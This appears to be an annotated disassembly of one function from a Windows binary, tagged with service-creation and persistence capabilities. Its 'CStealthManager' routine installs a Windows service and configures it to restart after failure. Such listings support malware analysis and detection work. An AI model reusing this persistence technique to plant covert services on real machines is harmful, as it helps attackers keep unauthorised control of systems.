Function at 0x411160
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4208e8
mov eax, dword fs:[0]
push eax
sub esp, 0xa8
mov eax, dword [0x42e024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push str.CStealthManager::setupStartUpService
push str._s_enter_
push str.stealth_manager
call fcn.00402620
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
jne 0x41120d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_on_service_control_manager:__d
push str.stealth_manager
call fcn.00402590
sub esp, 0xc
mov ecx, esp
push 0x20
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], esi
push str.Error_on_service_control_manager
mov byte [ecx], 0
call fcn.00404270
push 0x11
lea ecx, [ebp - 0x9c]
call fcn.0040c940
push 0x42cc24
lea eax, [ebp - 0x9c]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push 3
lea eax, [ebp - 0x70]
mov ecx, edi
push eax
call fcn.0040d1a0
push 4
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 0
push eax
mov ecx, edi
call fcn.0040d1a0
push 5
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 1
push eax
mov ecx, edi
call fcn.0040d1a0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae eax, dword [ebp - 0x70]
push eax
push str.ServiceExe_path:__s
push str.stealth_manager
call fcn.00402620
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push eax
push str.Service_name:__s
push str.stealth_manager
call fcn.00402620
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
push eax
push str.Service_Display_name:__s
push str.stealth_manager
call fcn.00402620
add esp, 0x24
lea ecx, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
lea edx, [ebp - 0x40]
lea eax, [ebp - 0x58]
cmovae ecx, dword [ebp - 0x70]
cmp dword [ebp - 0x2c], 0x10
push 0
cmovae edx, dword [ebp - 0x40]
cmp dword [ebp - 0x44], 0x10
push 0
cmovae eax, dword [ebp - 0x58]
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xc0000012
push edx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
test edi, edi
jne 0x41131f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp edi, 0x431
je 0x4113ad
push edi
push str.Error_Creating_services__d
push str.stealth_manager
call fcn.00402590
sub esp, 0xc
mov ecx, esp
push str.Error_Creating_services
call fcn.00404030
jmp 0x4111ef
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 1
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0xb4]
push eax
push 2
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xb4], 0x15180
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xa8], 3
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push str.CStealthManager::setupStartUpService
push str._s_exit_
push str.stealth_manager
call fcn.00402620
add esp, 0xc
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x4113bf
inc eax
push eax
push dword [ebp - 0x40]
call fcn.00404770
mov eax, dword [ebp - 0x44]
mov byte [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
cmp eax, 0x10
jb 0x4113e3
inc eax
push eax
push dword [ebp - 0x58]
call fcn.00404770
mov eax, dword [ebp - 0x5c]
mov byte [ebp - 0x58], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
cmp eax, 0x10
jb 0x411407
inc eax
push eax
push dword [ebp - 0x70]
call fcn.00404770
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e02b
mov esp, ebp
pop ebp
ret